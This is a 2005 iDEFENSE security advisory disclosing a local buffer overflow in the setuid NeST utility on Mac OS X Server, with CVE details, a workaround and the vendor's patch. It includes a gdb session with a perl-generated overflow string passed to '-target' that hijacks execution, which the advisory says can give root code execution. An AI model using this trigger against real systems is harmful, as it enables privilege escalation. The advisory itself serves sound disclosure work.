iDEFENSE Security Advisory 05.03.05: Mac OS X Server NeST -target Buffer Overflow Vulnerability
Mac OS X Server NeST -target Buffer Overflow Vulnerability
iDEFENSE Security Advisory 05.03.05:
http://www.idefense.com/application/poi/display?id=239&type=vulnerabilit
ies
May 03, 2005
I. BACKGROUND
Mac OS X is an advanced operating system which blends features of UNIX
with the ease-of-use of the Macintosh. NetInfo is Darwin's built-in
directory system. It stores administrative information in a
hierarchical database of nodes called directories. NeST is the NetInfo
Setup Tool. More information is available on the vendor's website:
http://www.apple.com
II. DESCRIPTION
Local exploitation of a buffer overflow vulnerability in Apple
Computer, Inc.'s Mac OS X Server default install allows attackers to
execute arbitrary code. NeST is the NetInfo Setup Tool for Mac OS X.
The vulnerability specifically exists due to insufficient bounds
checking on the argument passed to the '-target' command line
parameter. Local attackers can supply an overly long value to overflow
the buffer and execute arbitrary code. The following example debugger
session shows execution control when overflowing the target buffer:
osx-dev:~ $ gdb -q /usr/sbin/NeST
(gdb) run -target `perl -e 'print "\xbf\xff\xfe\xe4" x 800 '`
Starting program: /usr/sbin/NeST -target `perl -e 'print
"\xbf\xff\xfe\xe4" x 800 '`
Reading symbols for shared libraries ............... done
Password:
1976-04-01 08:29:04.480 NeST[3359] CFLog (0):
CFPropertyListCreateFromXMLData(): plist parse failed; the
data is not proper UTF-8. The file name for this data
could be:
Info.plist -- file://localhost/usr/sbin/
The parser will retry as in 10.2, but the problem should be
corrected in the plist.
Program received signal EXC_BAD_INSTRUCTION, Illegal
instruction/operand.
0xbffffee8 in ?? ()
(gdb) bt
#0 0xbffffee8 in ?? ()
#1 0xbffffee4 in ?? ()
III. ANALYSIS
Successful exploitation of this vulnerability will result in execution
of arbitrary code with root privileges. The vulnerability itself is a
textbook stack overflow and is trivially exploitable. This binary does
not ship by default with the standard install of Mac OS X, so only OS X
Server platforms are affected.
IV. DETECTION
iDEFENSE has confirmed that Apple Computer, Inc.'s Mac OS X Server
10.3.7 is vulnerable. All versions of OS X Server are suspected to be
vulnerable.
V. WORKAROUND
As a workaround solution, remove the setuid bit from the NeST binary
until the vendor releases a patch.
VI. VENDOR RESPONSE
The vulnerability is addressed in Apple Security Update 2005-005:
http://docs.info.apple.com/article.html?artnum=301528
VII. CVE INFORMATION
The Common Vulnerabilities and Exposures (CVE) project has assigned the
names CAN-2005-0594 to these issues. This is a candidate for inclusion
in the CVE list (http://cve.mitre.org), which standardizes names for
security problems.
VIII. DISCLOSURE TIMELINE
02/28/2005 Initial vendor notification
02/28/2005 Initial vendor response
05/03/2005 Coordinated public disclosure
IX. CREDIT
Nico is credited with this discovery.
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X. LEGAL NOTICES
Copyright (c) 2005 iDEFENSE, Inc.
Permission is granted for the redistribution of this alert
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Disclaimer: The information in the advisory is believed to be accurate
at the time of publishing based on currently available information. Use
of the information constitutes acceptance for use in an AS IS condition.
There are no warranties with regard to this information. Neither the
author nor the publisher accepts any liability for any direct, indirect,
or consequential loss or damage arising from use of, or reliance on,
this information.